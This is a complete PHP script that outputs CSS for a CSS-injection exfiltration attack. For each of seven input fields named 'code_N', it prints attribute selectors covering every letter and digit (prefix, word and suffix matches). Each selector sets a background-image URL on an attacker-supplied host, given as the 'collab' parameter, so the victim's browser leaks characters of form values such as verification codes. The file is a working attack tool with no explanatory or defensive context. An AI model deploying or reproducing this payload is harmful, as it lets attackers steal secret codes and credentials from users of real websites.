<?php

header("Content-Type: text/css");

$str = "code_";
$collab = $_GET["collab"];
for ($i=1;$i<8;$i++) {
    foreach(range('a','z') as $v){
        echo 'input[name="'.$str.''.$i.'"][value^="'.$v.'"] {background-image: url(https://'.$collab.'/hit1-'.$i.'-'.$v.');}' . "\n";
    }
    foreach(range('A','Z') as $v){
        echo 'input[name="'.$str.''.$i.'"][value^="'.$v.'"] {background-image: url(https://'.$collab.'/hit1-'.$i.'-'.$v.');}' . "\n";
    }
    foreach(range('0','9') as $v){
        echo 'input[name="'.$str.''.$i.'"][value^="'.$v.'"] {background-image: url(https://'.$collab.'/hit1-'.$i.'-'.$v.');}' . "\n";
    }
    foreach(range('a','z') as $v){
        echo 'input[name="'.$str.''.$i.'"][value~="'.$v.'"] {background-image: url(https://'.$collab.'/hit2-'.$i.'-'.$v.');}' . "\n";
    }
    foreach(range('A','Z') as $v){
        echo 'input[name="'.$str.''.$i.'"][value~="'.$v.'"] {background-image: url(https://'.$collab.'/hit2-'.$i.'-'.$v.');}' . "\n";
    }
    foreach(range('0','9') as $v){
        echo 'input[name="'.$str.''.$i.'"][value~="'.$v.'"] {background-image: url(https://'.$collab.'/hit2-'.$i.'-'.$v.');}' . "\n";
    }
    foreach(range('a','z') as $v){
        echo 'input[name="'.$str.''.$i.'"][value$="'.$v.'"] {background-image: url(https://'.$collab.'/hit3-'.$i.'-'.$v.');}' . "\n";
    }
    foreach(range('A','Z') as $v){
        echo 'input[name="'.$str.''.$i.'"][value$="'.$v.'"] {background-image: url(https://'.$collab.'/hit3-'.$i.'-'.$v.');}' . "\n";
    }
    foreach(range('0','9') as $v){
        echo 'input[name="'.$str.''.$i.'"][value$="'.$v.'"] {background-image: url(https://'.$collab.'/hit3-'.$i.'-'.$v.');}' . "\n";
    }
}
?>